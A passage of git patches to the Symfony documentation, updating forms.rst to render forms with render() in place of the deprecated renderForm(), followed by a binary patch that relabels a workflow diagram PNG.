       or $this->render('...', ['form' => $form->createView()]) #}
     {{ form(form) }}
 
diff --git a/forms.rst b/forms.rst
index 5687b601c76..4b7ef747ca1 100644
--- a/forms.rst
+++ b/forms.rst
@@ -275,16 +275,21 @@ Now that the form has been created, the next step is to render it::
 
             $form = $this->createForm(TaskType::class, $task);
 
-            return $this->renderForm('task/new.html.twig', [
+            return $this->render('task/new.html.twig', [
                 'form' => $form,
             ]);
         }
     }
 
-In versions prior to Symfony 5.3, controllers used the method
-``$this->render('...', ['form' => $form->createView()])`` to render the form.
-The ``renderForm()`` method abstracts this logic and it also sets the 422 HTTP
-status code in the response automatically when the submitted form is not valid.
+Internally, the ``render()`` method calls ``$form->createView()`` to
+transform the form into a *form view* instance.
+
+.. deprecated:: 6.2
+
+    Prior to Symfony 6.2, you had to use ``$this->render(..., ['form' => $form->createView()])``
+    or the ``renderForm()`` method to render to form. The ``renderForm()``
+    method is deprecated in favor of directly passing the ``FormInterface``
+    instance to ``render()``.
 
 Then, use some :ref:`form helper functions <reference-form-twig-functions>` to
 render the form contents:
@@ -404,7 +409,7 @@ written into the form object::
                 return $this->redirectToRoute('task_success');
             }
 
-            return $this->renderForm('task/new.html.twig', [
+            return $this->render('task/new.html.twig', [
                 'form' => $form,
             ]);
         }
@@ -422,7 +427,12 @@ possible paths:
    ``task`` and ``dueDate`` properties of the ``$task`` object. Then this object
    is validated (validation is explained in the next section). If it is invalid,
    :method:`Symfony\\Component\\Form\\FormInterface::isValid` returns
-   ``false`` and the form is rendered again, but now with validation errors;
+   ``false`` and the form is rendered again, but now with validation errors.
+
+   By passing ``$form`` to the ``render()`` method (instead of
+   ``$form->createView()``), the response code is automatically set to
+   `HTTP 422 Unprocessable Content`_. This ensures compatibility with tools
+   relying on the HTTP specification, like `Symfony UX Turbo`_;
 
 #. When the user submits the form with valid data, the submitted data is again
    written into the form, but this time :method:`Symfony\\Component\\Form\\FormInterface::isValid`
@@ -1070,3 +1080,5 @@ Misc.:
 
 .. _`Symfony Forms screencast series`: https://symfonycasts.com/screencast/symfony-forms
 .. _`MakerBundle`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html
+.. _`HTTP 422 Unprocessable Content`: https://www.rfc-editor.org/rfc/rfc9110.html#name-422-unprocessable-content
+.. _`Symfony UX Turbo`: https://ux.symfony.com/turbo

From c10d7d89f313dd07076c700de3bc553d3629b3f1 Mon Sep 17 00:00:00 2001
From: Guilliam Xavier <guilliamxavier@users.noreply.github.com>
Date: Wed, 21 Sep 2022 12:29:08 +0200
Subject: [PATCH 2320/5766] [Workflow] fix image labels

"Transaction_*" to "Transition_*"
---
 .../workflow/states_transitions.png           | Bin 20525 -> 20821 bytes
 1 file changed, 0 insertions(+), 0 deletions(-)

diff --git a/_images/components/workflow/states_transitions.png b/_images/components/workflow/states_transitions.png
index 1e68f9ca5979ce245a142c186c7230376b2c8a45..d1f54391afdbce6b33b2298843dc176f6daae8e3 100644
GIT binary patch
literal 20821
zcmZv^2RxU1_&%;ZNE9hEWGh0lmB>hBL`jrAlI%^1Y$_BovXUe_DJvtAO;$!o60%2x
z|Mhgv`Tu_3-|Kr`=bTC(kLUe<?)QCP_jO(O6L3LAe$Q^&-6SL=dlVI9)k#RUh~xK>
zJGbNiUM=5v@ynq3nKKvc)a7MJNDf9CUb`mIK(bYtoQ$l<g-!1CFO}Vt57c&(DI7jt
z^yc=alh=%{Ej#X!72wzH*u#5$q$c?Q-B;etIy+OONpcj#q8e&98*rTN+IQH|Me+2m
z`<Yt|IB2Nube*CRoTl>KD!Qdx>eOo)v3=sZ0^%O(#F80}l624PEE{Puy_UUPQC==V
z$^1wt<j!?B@hx|&7<{7YWVUZ#*V=y1>M^B3!rJ?FV=8gYhdOGT_sz698F4D`Ds4R{
zcz3hV(U3cXZMNID_bY7QK1fPNrrSc{bbFKKasH=@WE@zQZI`f5GLw8B7Q5?~!eu)W
z67nkIzfF-m<a8t?he;G=Pis2IPV_nHMviRM%+Q<@rhnvp`1$R?s6ZC)z<{Kr@0<ly
z4}^t2MVmLqMqg<YYJVAf?GbBcY0RZx5B4vWXZri!I(4XGlc(3gQI1`2Za<lEkzyQ8
z>^0S$vU^k1xK=bZUV1a`<;$16J`^%LnSCgd?0;X@9^3l&_cA-x4yJTb{`30?CG`p7
z1Nf5?n@8#v;`iH_xw!-7f(|@*@F3AXLLkHa_beHmu=3c!R4oe&?!udWEcp8$Kg`-K
zPVCyXD<vi6{-Z}{O-$HVR#qZ-w8;ep1$mDi&3XO$nL%}6&y&#5&{pd+{w!?Op%gOy
z>Vp&Ac{jei4k<4`m6{x(=rq;OCLy647`ORhbo9sHbEBd*Lt8mi<G&462lc*n2&%7F
zCc!$gb8{<NTlekXzn_eZthud?^~8zD{CpusDR+OJO!i~PLce`8A_)!-zUAPMdNzc%
zJzZl5A0Hn*J$;1x6B#NoE=Q~|g1aqERa;CZnu?LJ@wr-ZM5tO48wW?8+tN+P$)4)O
zGkyxn%Cf2IYVRDayuH0|IXR`-j?{^Wh+H!=n(xiZ(8?(CSQUQEr~kb*^<1o|-Mxk<
zC&T08LxX}yLugMVxy*fU&%B}?`o~{gK9J$>miihQ8{7P7W)`;Usfw3$tF5gq|MKO@
zUg<v+($dl|G}CA6te$IfYjRV^$H(^=kByDRO1L~+TV2X?n$oMNsL0OCOFsWZ*#2kx
zE>qJ{?VH;EL#O_^vOmkChYu^Boqw{El$4d5dpFi9weiPp^XARj+1Z@)i+jk(p6i!M
zEsS@XHa|VBTjCliz40gf=#|&mwj)ZkLT0D3^h(UypQ|OBQYP^$=CBgaUrqL5c=)b8
zdyE@mPM8VNiaAawbiTT3V`HNxq#en9arsAb*pJRErXA$;hk1E}-{0La{Qdg}c_t6p
zQ>Shx{q}Lb{BIyp<s$5aZ*-kfP}oTuau4gCZ4{rncJt;d`+RzPdwcv`O6(VlfWSlJ
zPmgAPk0uNc4!*B_z-mY4yFcm3{qcX|kt%6!v<VN4$)q8sn$EiT{iCB-mZvNC23<{@
z)4zH1rgDN*TyygUWo2dOsgk8AVJq5zfB+@={X<3nt!JmYhDP*p!|hY0tH<u$yXSN7
zo`C(2W&{0ie;&VkCmuw@XEOWk<3vwEP+`Aoko5ZUnXyYU5;TWCu>akSau!zBLnkb#
zEDB<F?PqU(byYl-wIuiH)5Cw())4jAD|~j*OE}+eNtQRfapR@E5cBL2c_PYoGVgB2
zgZa^xwpU9_%g5I@GEj!&NqRb0rQcrD_ukv+MQ+{JD{-YfbST}P7vDsjik-}|o0`pp
zl%x3Xq-&(Lmbf`R;=Sx07Z=x>v)eZzfhjRD@zRwm#Ad87m2Ge_DEjMu<QFDF%wIbK
zfiOK-DQfqfY`}ePPibkXl03J)qoX6QUU8Il>F;|p!!>pr>mII)6T}a+y>B2-obe&*
z=btUM@1d1dRwg_5_*kk=fd#%#;O*PDWQPQNc2jfnn>Nz_8YpYJ&wM5#l+EW6mH6L;
z!N<kUes6tkH5{iEfqXkTIl1)#RZHfTlL+Je94beoq~ft(Pw{p9w13l#^C3JNvV;7$
zah_%-3kM9WtTOG7$ZgxUEm1xFpzw`@&z?OCK6qSaOhKl0>$ZP>4mVCXj^x9bn7RsI
z(ogP*;SHUgkNL{}JWTLfkDe;q&>ItxQTQixXAn#R2l22@-t4_LSmE2%)5Fb>e#yMQ
zSd>*h^vIDTJ~&2P4Dt~+0>S71u6|p6f^<T%d|0m0$9=lGx)Groybiy5qu;y{!Lz%E
z6RoGGrzF46ID)?WZ=!TodFMFEA|w=%V_2h}XL3Gun99;)b+LM2AOT-V(#nVoWv%1<
zn`U-0$Dgsc7Yb)TpQMqdvUS@wE`~JOC=nYLq{m<;X}vMdq~M4DK7>QLO>JEIrN#9E
zi<|4~>xn4d_%pYcN9*MUu~5#t|83vB>}>vHSKn66kF^~a64De?2^bn1`*?fPmP@%t
zyG~m7YvRL(|9-f(ro?UO(p!5jkCpjE?6*=4*8|u2AE!s^B5@e*wW`S;V*NMfq`ucj
z-wg@bgHNi7DFvivWPCze6tVw7F*rD=R6}X(|L;S05pkYAjIX(`{~kSf@E|7^lyUW)
zFoT%=wO_qOC;*(;TgrdW|F^*>)}@J;^Gue1|K?&y)jTL<M)C3EN1OyM2D$(9DTA6&
z2Hj%k2Z$vehSc^8>6-Ra{c#sFv}UFU&!i6f3;dVrbpI?5hvl2KY(9DNBq|1X-#aG`
z9-bh5&);&`O0xgrSvr(nv;y^GtnXc6tC|u6s!+e{_|cA6SA)(bt6_si{@tMEuma1@
zp^*_^KR-WwF!k%#Yba#mjuRKe0{{OHIaeSJcfWJuixYR!5>rYyHZ_&U6YY9qlZ+kY
z;`nC=tM;!i5AQ_^GV3oc!nF!i;>2v`f2d(olI^L~0{_iKGd@K2{oe3I<CU%`mSExO
z>3K;<C)Z=uF*Vs=UHRXf?j<KDXY;F9ROj`Lbo&T(RaMn6<UUG9##jIMwXzU)*G){$
zuB|LYhN`m*S#|{5jW$x!(4^s0O8@;t;!`b8Pj8uD`1>hmH#Y#Sa_n_vD2o!;zj1mS
ziCQIA<aFh|J-C#~!9$0L(ih4g{_Ov{)F#=pXJ_$9es*ML01TvJiL$b?oD63o)c<|p
zBx$M%AF8UhYHMp_aa>s?i?p3t`lF~2O7fJc_y3Kd^3-#WZ`s+Mk(ZYr<1|)U`1$!x
zjeLg>r`dm3L1F#S&~Se2pmAti9K(SF2h=D0WtjhNwAzQ%v@{-u#7l1+#t$?$HY(L{
zhR4Rm6*-JQYCSH?rJ3~oV!N3TQRa}!Y=%GVNlHrce{1LGToALhAf`Qns<o}{BZ_Z%
zImuny5q?3z%8J%~be5K}^vDu9EC{;lhK4;mcI-$UP*1lTs@f&B@`DvAB?7zB-Q7J?
zwy~xP^rLcfO%*5GqJXwQ=X{;lN`mdiqV%IjkC2-+at!3gyaJ1GspHqmNk|waU1hbj
z4xBxEmZUyj@`>l#3boD`<f5wb^4mlXv-<M-`n7AP=Ds)B@$&Irzka<wTF?)FPo+c0
zcIRyJV1J35+-zZy^NhiEa(e%OfL&r@Vn2TT_=-yT@^YS8Ys#)Oe&p33KHTFgT~2Dw
zGkPNFCX96Up{pwji0Ouvm3ikY2D|U|E$a+a>{u8!WOqqi1<M!dx=)s?X_sik&CSi}
z#T|oj8Jj;<yBZV3{mv$z9w;ZFTMdl*(sTX#@NK(D+JjH7Txe|GdDX+ieqp}0zV=jj
z{8<b2ed&9drumuU4M&gV7<S%l&sieL&dyI!nG|c!7)8BGpnrReBqt}w$jFG_W5u3;
zd1)$f2EY|~aMbY=UMwsuB2K^P0eFBHLzN=A2fu#3osq$Vf(bkn91?PzpZ}Dq>fVsE
zXLNLE_cBTxW@f&#x-@0Cw&Jij`K1Oa;A35#%s)`AxHx5l>zM1pPdR`Z5~7-5X}r2`
zvK4yp6!I4(9<ZHzH2wXFwNydz)9RX<xoR5y?3;aJ+!tSHa#}?kA#T*fL_JZ)m&H5_
zAnp$kNl!xA+Ts;4`yb^<rhzGIz4_Jy@q6fmN$%gje`<Ac^75No%&6yl^RIa{pO**h
z=lE}P>#SGPx~RpuxVR?zOP)w?^fuxcIM4r}q~<QVkQ1}RDki_GG?z!1JoLxUu@ZYa
zb1tr`-r^5&JTyfPGZF)Q`tSezp3BK8V9S;xMIPX4Qz=a%kTUDenTp)igvl?3cGF)^
z1K8LA=-%vmYd_ZNOMAlN>(G#QKhL~0@+^+4?f3da*y2kC7SzB{HI0p-$UWyaG=jHn
z-P-)t!4iL}38dz^<>+WqetQ$5fGkp}x;gR8@A)=WQHP&Yd8SQgQ`K`^7c8(xRdta(
z=}7i8e0tydoCZb^sBhlA%QI_X`Sa(`^7`sjOIurIMTN|}^|2p6ZY}+~IzK;uP|TjQ
z(0ah6zt{z+%fQm|Q>VVyc?A2M6`wRRZFyCd4>gY#|IOYvEGtw&Sw22nNi?}5StbiD
zJ43Ny(kEEEyYo!#t~QZ4PW3nZXh|+|UEq!rb1*<=MViX7>^!!8FJnFMEm7lf=&L(A
z7JX-tRMj(ePPDeR?w*kRE}yENsFe|vl38)&i*&VW4wqwNtZ3zj5W4QS4m^lG%~uy6
zA1GNF(n*v0-odxHV}*AlIK<|~_d6OV_R?;3*!s0GQh`O4-eh#$;}3R5MDu0slQ^*!
zfD)QthkYp6&N*)6S$z>kZkd^xxxPF-C}h#@KRfb?#_S3^JA3=9t513gEcesXla&|Q
zjdr1ypo0FrkeFC&j-fo#MRaYg0{R(Z7iVT?lK@h-?$|N+#kwp9*X{RQwQ^nhbsjBO
zhIW?8pXHfYDUX<s;T(b{^#?syCr^F|K7`ZDu)I1|cKP*<Xh&9IcJ}RCwrr7FUp5rJ
z*{cA=@}sAKXSgP;28r+XufBI01r`^{nWXB0o>WkNi*60dlunMMVgHCYLa96OK22M~
z$Iox>v$lRquJJjvLDRFdt^JRqqITZ)^_6=t8W<R80N8-CGm&nPVcHa5^vV?H%^u(>
zTF|sL@yw2u`LRkgZ(}XVI}om;SWPN=$>2kR_srX#9XD-^HU0j^d4>h6ILyj=7fZ86
z#VlR<nNi{TMfB38OJ-g>WT=i*2gTujat%h5RN^E8O6;g(O4p9Xhv?OG6`P6E`MtO)
zqUlh%k$LS`U$IKntI3y_3Sv-TTA!V#BQn9~7Z-zs!YPt&P4*UrBPUZ*Qr-dP-?D@J
z2q)*xbLT#>G~i*}@$=h(Iyr)8cB8*I8r?+c>MwDu842a=J#q%6FR!gO5l{+X5S^S_
zk*zUuQ^A@0yu7?o{MR>=^u2XxiziLV%4$LzfZg1@WjonZuZ?w4y@BRt3Oows^XCEB
z+K-i?ZoPAwViyvkLj7A=7?($LM0fILRZR^?)1s^ja*%}k@_l`;wMfLYp_SEnJiMK|
zcMsvZB%)GF74u62Udig|wRLqY$B$Fu8fXvWU3K-wFU!hqU0hr&Ug~!v@$vDYpriYA
zZx7w{{Co;xgCv+i{1FnSw02IiR)(nOACb$KFU!iw;aCI&2lGzHNfqJtcyp5#l5VKI
z?CLJCq#3y9b4yg<;m`ikd0Oc>rO%R)f#G+rve9gI^Hexh*dN=odUD4`SCw_y+SyN9
znLjpK<OMW>DA;;mU43_{*!egpgW~m-ao#JhUv`l(*f}_iw5duPe=WcBXQqbfrCv!4
zauyL-QV-YVZB*mG*iQ9JqM;J?T9<Gb?_fhfpnTn?r}INcfF_jWdt=<WjrBDgutbyz
zz~^}6bcwva@y;xbbagg*28M!9?j9Zm9QLE1<M*NSPrdY|$#!+o%HF}DAVF1Em)^4T
zl`+DhtE-E|EG&gu*xK3}&DG}HnVCn)$;pf26CyiZ9S1A6xx2gPhuPWMR($*zfM;O$
zvz=?Qz%sY5)I+>xC7h0li3w0LW6cHa1sSc7KZ<Q>-4%~x+qZ8Q;CaePC8sx``_3`M
zye-XczLrwLowm*CLt2+8brYYpq{o(@!j^J<CYd5$W=w7;eOe1Fwb70#4wQNX89DA_
zmVIC3I7y2G@fBULkad47n!p2JSlMxH`-!dx0A#s_HRQPK3LK{MVT_U~8)_F8f9s$(
zC(a$>y9Mnj*`7Vej~{2|;UPWTq__>h?{b-^Bx>ii>Okt^)nD(>iAd&M6&Dwuj9;9%
zt^&~Z4CKr2*BpU-c6M{7@!F9Ct|nGi4X>@f<cF2G%(2Ud(!Z~%@x!K$MEyC;&HXdg
zB-*kon;HF=DB>tLG+<vwZD3q`yJqRex|>#}jxXZGRW&9g`O1Q+bWYUsmh9u7J!oy*
zYc?(w-elYO@-~vP(r-Tn#Zz?4Rf0xK(m4DdK7Wp6^7``t{U;a0cu|2_i#N(sp68nD
zfulNAxR>RLye6!-8Rhm)4F@aTp+l6kv`Q8hKLwYRm&V%s5Z-f$t+r(Oy&pmuGLGKQ
zjgE<ta!7g&Jb?;-y*t;~eX-jVnDrL&jEszof}$c<*U6>8z_}ZmL~x*_{1_ikZZXTR
z?9wT`dH%)?UK|}ZNy(Dhd%2S5JjXAeIz_^IHu!6AkzJ2@MrLN_AyL~Sl5UINmS={Y
zU0jGdY0?<`5q)-oXps^C3!Y2)aQBKyebj0641p=lis#Pp<R)7r-Qap?Fj^I`KbYZU
zs85w_jFVS_>(MWX8CPasnZ8I)K2uWux_#QbUO!P<z@TbpjF5Q+K1}_jL~iGUGW6Ed
zKrYi?-)|vO6R4SUH#XW*&(Y}Qn-QSl&~byU>+9>_5KgZ!Z4(g}Z+qut{j)utXz)&0
zc2uEx2IZk%WIG~}aMHMrN^1G*mIJ((PNDzDO}bj_+wJA$1+W>F{1p}55bYw-k8LA8
za339bl3dX9ix~&}_A(uNS$O#;`fCFdlSkuQw{<5B<0J&0&j}xJ?Lb%~kMn?Ex_$TV
z7H~8;@U(`8hQt?f$ZhQHtAJ0dgJ`5Xc^{T-tiN*<Nhl~d0bJEiUchq$Wdv~Wl|s)x
z;~<p|FDEYQ?2%88=fD>X={5OvOnG=m*S+9>!lQn&F=4Q<+OCBoXsqoS^^@ZpO1t;&
zH3gkzygp>F^q@&P4d1ta-#+iMGHKjhhiAa!?KNRcrYNC+q|>NviW_$Y#=X?l_W@Q%
zMMV`i&kYR^A3u3gUSE32BQ!ldy=Po_O&ePS9;N!`B{jt<uVcDzPT}Zv<(uzUQBhH<
z`N&+hpq$)tKO$njy^8zLp+nC<|J>I$byUAJ7Ii$wyp26Ixj5os>H1^)-|p+uG(8U(
z3UnIY*bFa^PG859XG#!eAkE;a7U`V+ww6Bk+hfcfb)lw)$?IhtwcO4`dVHEj-~Ihy
zrQaa|qn&`f+G6T==4NLJ7D6$ceWpd8sin-zYs`!4nuW!RdQ)C*omY*%=ctk7RQ)9^
zmje*6bM<FuR+A-KGTkf<Eh8FIi-Na+r@u2zK}Hlc9!^h7dz{=H5EeEHfYz{Z;$>!L
zL0%!($j7-BA5H~d^}jhybvxN%$^HFt{NaJGKJQMBHh5p#9^9A^Ix^j%f4SIb7fSj_
zM%J^s#7oRnwv#<4h>qpet78LR8<O$y)rOC1DnR}<g7)1-N@@rOELPI(QMyLz24$GB
zv9Y<S-=|5b2jNJ^;GTL*+zMsm+Ll-X=T-<TIWaL25z4HTxS7vUB|)m;>HE7mwzrZ-
zP4%xCS!gw%r#iRCTg*VeIz<1w=SPk$+ou<bU815RLza%o+Sshjo8KclBm?R)>ZCQ}
z_wV1qZ|!^k{=KuaGyjb)e%xg(PBd<#JwrPTpn;1axvIIdlYq<OPQN%AQZHP(e0c`Y
zjE8|$)#+DnB068C8j92lcj8muSr14NJtBRtq_b)JHvx?wMj4uY;qm(QU+Wg=+@}Zq
zsy=++22Uqoh$KHhHIVSuVLaEYCF$=cuM{5p^yuhtN9L9J$uHU~Ow4-T;o<wiU0o16
z8*M-QA;jRM`-KSdZCVo(fG^i8?+p%iMikx)eg9N<ChB9#^KMbmHp>d-eGfHUHty~<
zx(jkW+ip}vYIQ;o39JDPVqk-^l3b?6=NEs#n5Lwq%_UCUq8#!qDk}QRI|d7IfW@n-
zlI`v7jQ}B#xS7i_lu5cV>bT+a{mn72J$5{<HNQ&wFxAS%H8ep*=Mnjq?d0u^;e0-v
z&cs2Q=*j^p9YFM+^-I!#AE@_a9v&Xx6OXKgQScpp*TqFXnjOK0reP}x8md6;es2HZ
zV58dR#5b<Lo8PK#c-LxjM@3zkZLC%74GJ>-k(TiA(W7VfN0^o30E(s7<~5KpkZ4m{
zZ36e8Jpl)(sGxAIEBkuu#?F~oEKSbVRsfs<*qLZs6l<_}b-mMuYC?MHT>+t?-@`X;
z;hY*$@>9J>{Z4cv(!~5qywh2g?-i-%07bRH9Y%1sw6u`Xi`+;5#E*nH=Cxkg-yiQw
zO0)0Kp^sfT#Ltny27xXZMjBR<=hDE5GP2#QW~TSHtHn&nUCQ>zcJ}Y~jKT*bJ??tf
zU$p4LgE8(BS)Ayr43l1eZcopwv@PUpB}g^UTWFkiY}qpAWlNxN;F?e9@ezGPqUh@{
z6yCf_&LEZof`w2v!Z}pc%RD^@a_DDjTD)HNwM|%QVpBxXLE5se$mCBk0A}Wly?*!a
zQxq2$e^VNjDNaJFzBN)ujXJ#0O5?!G1H$GL$Xf)zUiuHOQuMP3VBhHILugJ8($N_j
z8TsVo97mg`B^J-QjrQctdSrR9&_Bj$dI~zL%fP3}xVnm=XnY5pUtV1u24@DLqP0bq
zYewCx`d>mcG{ODedAVrzX&0fLKWjtm(hi+)6|$_X_{RNSrZ{C{ee@GwSygql+?WWP
z45T9w+iyD!KLj%i3FXT!Ndqp@i`x2tha&LWesw@T-|&FeByc$OQOEBhdADX?2OAjS
ziX&Oo&=7*|jnHd4US7UiR3sWgck%-mSbXu5LuD0@%i#4JK+?)lA`jkf%ACH@`;vks
zQg3o)&*{75D4&{QffQ`&DDVH1nvDjMcXf4DjuBEE<K#OkC>V~e*Q}|juD-tgfar%0
zALf6wocZXS6!9EX5hEkxje*juW1OjaXU}fOO{E~&6F~&@O5}VZg@ZXHu6gIq9pd1l
zs{rOrwKr1RTyiT%(5YXd?$DFg**;I-2Wgsu0w;z;)+>qT&}(C@u+_$g(+2Rz4{HPB
zxBybt5UKOq$8dDRssTT}9zJ}y6QvG?EdNILL$uKMqodPH^uZMV{G2g2*CajHW0}Pj
zr5VAVsZ%hNRkr>xnvAsj&Xyet3JOo5w)7aIcA>{aag=d(7D1eS=;(Nazi3I<-~gFW
zadN=D5_E>`{5F|yBfj@?7^K{zqzkQvCkKZ=O~{?mkF?vPYOz{)tz)7a^zL;dqZH!E
z`T(2}t#B!zzkpjyv-Zfy$Y0F{Dp{bz#(rw*YIL7i!(RC?MmCVQ$cD51Zc{D!<{Ic?
zD{<yX2*CuL<{7L7LI+Q*Zo~nQWX3H?a(@;&^=+w&D6D$&1F*ltU%%cTUo$Z=$+!3%
zh-gO)y~i!*i{H?CdFhT)DiJ(FRy|aZ*p!vO(c8}Cj~;UrqTSQ>Of~IoA>U2CJ-Y=p
z(mRV+-FOeJQx146G2Gq0M_nwGqB{O;@^#z}L8-Ezk0DrYI#gckk_D}tpI*7Sxgs7b
zLg?a5mVWi=mbxDT!;I8Xh1_7?`^F}8+&bUt%Okg?U&kGOY8IE2P%9r(;-RCXBVZhE
zJGG1J2=Mtt-@BzEzmA_{V`@0zM0E!7QslYz_I1-iK@&36!1gSCCP1+mVXGL^O>A}X
zxO;?qWt@1+Je_bN|6If__5+WEJXWu2W$7xRi??xf)DnA0QQZ@B!qPu9)C3I*a@7n(
z(}VoiNWkT2<!>k|Dh}f3^stJclM)dX9h{nKf@lQNq0Wx|C7umv3f@kweZDWQ6y7AF
z7L+m?<V5>eb<@e70+4b*nKSB5PBu1)+F5$@KR*Y7vss)PXhPq&6KWXl@J&$>@jP+g
zN(jE)A|;%P@flr;N=idDBcEo>zwA19<y}RiCVRVO%e~<*UZyh-+1yV!ydYx!HRAeG
zj=?s7>Z<;J2s^1Vqm6Nw3vV)<d&GO)f^tzBor-Z&yd*)YfhB#~V&*(q&<S2>2aaDV
zib2zwj`|P(itm$?=b<eU*ZQmVs-zRtH6cbONO|lwa<x8p?p#m4`I#reR>*V&{|Q``
z=P<72xjeXI@_`uk9o=NmB!!-uNWA49QmCt}g8K&?tq(ZH3xK-z`(V8-Z|q65`||r8
zeDiF4vX}QAIB*t3FYa6uGC?9he3|DO@g$k3Y&Yz{=1*P-C#5-d&A`ArD~k`AFA>;{
z&6W0s+I>Tl!~b~!R!Y#n2h*MiMD6=qlQk?roF(CEkB?p5{ik4IVF3@0=*9pC?S9W1
zFHUq<V(YtdjY-iZ3Yj&Z67OwjRB;@7?AXNXNU+almkusmDX3|dJ=U*%UxHTn`oKMY
zoR(^zT>=sp{5K#8QKI`v#q+j}^WA*l;K5p`+N8xBF8B-Jd=oSnfNXwUU6&>%Cuf$H
zOwq*uBO_e6Hn~eJ3ITDtz~VE}^b;{Arjq_tD+BWJ2uQ-C4?X)nf2M{Y05a%|ySoHV
zg)uJZzP8Y*{6rW}$imF;-DlLr<~jeQrFw%=&>I|VY}=-^tf}PU1!~@%mtS8p+zC3R
zyrY9C)>J&*Yfb2WGa-zmBZ)x$U5i{zz}+qW>idKM25IX>@T_QcQov^sBm`(mnrjx!
zfgMjz-#sXD>oAn-@}?$L6rz5lxw|0Mfd=LJUq?n#gQ!Xa69lAWw>*8F;2e=V>#!jZ
z=OoZo5!G*a_zaq-c-Ih!gdi?YgZv4SD03FYes`?>5j?RLV_<OoGL=hRY-h~YY|F{r
z!q)xu;O4Rb0|Fx<SNQ_)85$d>5=%g8bDwKC$@h6f_pQC6+x&Oz^+8%%3%?K{^Hy2M
zet-2!G;CmgiOv$)@>}gU9ub$>BTr6Rn;?Kuzj<P+p(UU>Z+Wi9ieIXcMDr{A5bL)S
z6PY0c_YBqa^w8dh`W;Frrihl=v9yHmIurpzYy$?P_<^!|Z)K+#Z8x=4B&Av3HVr2c
zzS%?Q(W)YDi@bntMyPy9B?X`;%^)X~VNV5D6Xxgb0S%JkB#(-T(O$W71vqW&OCjGL
zTA};nOabcSc}-HuNFTiVrLm<RtK7(<sH8>+1fd&U_X#e0SRxg0TQf^94g&IhJi<vM
z?mUx*Ap$70wS_}~C6qA|tfc$_t9;Z6%L9=-+FHWJwc4fCjo=FI#2K>D_ZgEJUVky?
zdT#yqKvt}XjSP9v?wKs8_;*pgr->>E>2bU{af@Zg%Z~*cY8jt<2F-WuWjrD(8jV`n
zR_ft~OvT+c6DUv##1Dan5;YO9+<17A4G8)k4##oB4`ivy5=3tTA)TH053S)JlvyGV
zp|C?YBthqg?0*+3;@MDouF=Q?hAs!hL67_?@(_=2(4jGo7x?(<Au0I(Y^(~(+gF>7
z{fvw%NN^C{ei|nfKk3`hEwYtE5WuzqDq?tYvf=CdyEt=cGQPW&<PXSDB2dA~3R<*t
zqQ)`H3+R`FY`v6kMv3h>jt)m%tdaD%fIzFtwQJVaO}WOOklo6My*a?AL2XihHKGwb
za(RMqm%LeBN*^27k8r7bX(1J|YhZ@sFVG022oy(n0X+d&s6(KWxpwXFct<ADzQBe<
zYH4W+gs2RK<y#Du%%5|p(qnCDZEz|O_6&5j5uuta1ceF0k~k?-{Uwp1b4nm*2w4e<
z6Xl40DNf2mCsA|g@+_|-YDbuZi`xxuF>374r_7sM7GLg-Ec)Y%?HT^@gY%4BpaO6j
zA#fwb8`ni}wZFJ{?pP0(>@nmc0$(L~EFS9b@Bb^Xr*}Ppzz(+w=y4u~kw^riKaPq4
zoEar}K-X{FsE16iR7Fve%h_aLI<UT`>DiFMnHOPBezA`~Pt)dW`6ez$*=P=p;sZzb
z?%j(%I9<0WH<p#HN{~n;1Qh~OZfIgc87fv}sOAlir9LMjKZ4D897wve^Pe7a#C70v
zhIWuhh_l|?qN8AcM}~Y!-#B+1`zc|plS*44;yCf9^|;RkO_2ID$8_Nax<ZJdC9Vr1
zp1NoR<7<G}3Fpq;9eck6G(fz6)RCp%^pNe`K}lC3J-ysHT~3ZpgHbpEAX*J+o;T^?
zQd0SBL17~xGj>ph6NHZjIF1WxDhz}c>+rLE5a<zYYm#iOlvho6cQnA@K03M#`xJu_
z<TwN19rxLf9BAhh$3&8XKNWO|LYX_DB^-67o5~?xpdr!X#J>Ie-q?+XwyODDsE5Ly
zlb44hqk<a`OiSaiD9|BpJp91}O3>FQpm-8+7&$VPm6{X>&IqT&ezND{D<;lBU)`WM
zB<Jg+x<&rU{<D$XTPR?Ixk1591^t1ox34cURP8%(1j;BY(MOh7RCp6Uv`3FVAdxm9
zOGk#LJkPvR2qVu0FoxB@Ffd+hy)U1$-{rT!Yn4X1xYT+c(;LBc9ig8d^YJjq?X1Sx
z+D1szh7qFZd^De506)g8cj5Q!$nQZvCjOHrN7t4HM$zIZ$*WgEvH3j|#J7{2++?UK
zKp;7pQ`q*XBh=Fik%fFec{gWsPaUpQP>KfnQCC-ogUkSQ`rwZr&+UT+AigR7ZRV9y
z4aQni2|SdgFHO!U@!URzh49OOrNgl$KXZ@ldhLB?*h^Ua(gNdBQjRc6Ip3~(<*d)P
zntXeEtk|2W=&;o{a%Wz}NpC6d*_NlEdX8tpEUT*bl|-S^*!AhgIB~=4*YEiHZUbD5
ziixrCDurPz@%2?SmMkocs_XpME4H?-U)>w8tJmx}(M3ofXk0X3XzsGMo}#ysj2@ON
zo|see#*c=j4idOQVqpQaW{}1?+1ceV+C?f6z9W?FZP$J@Cn`q^q&C}qGr_6;F*cS1
zR|$(%A<TVPJGJ=}nTP}Ek_bZ$NTj&acefK3AGrC_?O)0`fZtzPnrdp2-l#_)j&<jy
zwLVaK3Ch~MFaV4-m-egJ#Zf3X2P_DAyj|~z6GRsR@v9!?GlRUuCL$6g=J2yQNsiQW
zWh_m`e1|QUBgnc<`~|$f=MuLl?^&bf=(Hesy}81<+B)ujhOp>V>ZNmIilGn*IF28G
z0G<On!SCTP>3nIL#g9L*s#IhxLY;P*HJYTkusG`t75^*%%4MV*H8r)Ws;cG;ZN7f@
zx%0QvY$dWDd*~@X=-cS(qH6fY3D+NSRYU;NKTd8E*kW9ZN^#ZYa*-_?POb?!XStqN
zAt52LMn|i7Kq{HGrYI6x3~B~wqhy(Z=(GrkQO(GoLqkKCO5H`#+^C7E2Xx@aP71fc
z+5@j$!r~}l9I*I;KG>wnpOS?4a;~h~ukP?qq&-0Mkkj@+*m|i`5D3lG4qb_i`FOg4
ze5TfxYX&#fIQJa5x2xpcZ0Eg%<&;z=CZY7oj^>e`)dRuw^?gq|qs3oJlT?are|XSK
zKQX1r#K=U&K*qcE_-tfEL=}?dZu`69EG*tq9xKhSt*%(KKR*q+6vm|T%E~S1d{9Gc
zfJHYE<rzMMK|C?&t(5fiFB#ZhTYTn*Jp;ug5mmG&WYlTE<1v`sX1K(@&IrB3U-XQS
zfIk?@EbOo7>4^a`LCL_dR=+rluu%lB1NM2#DQ)e?o51M-PbRjQ#n;&^PFyAoj`{hZ
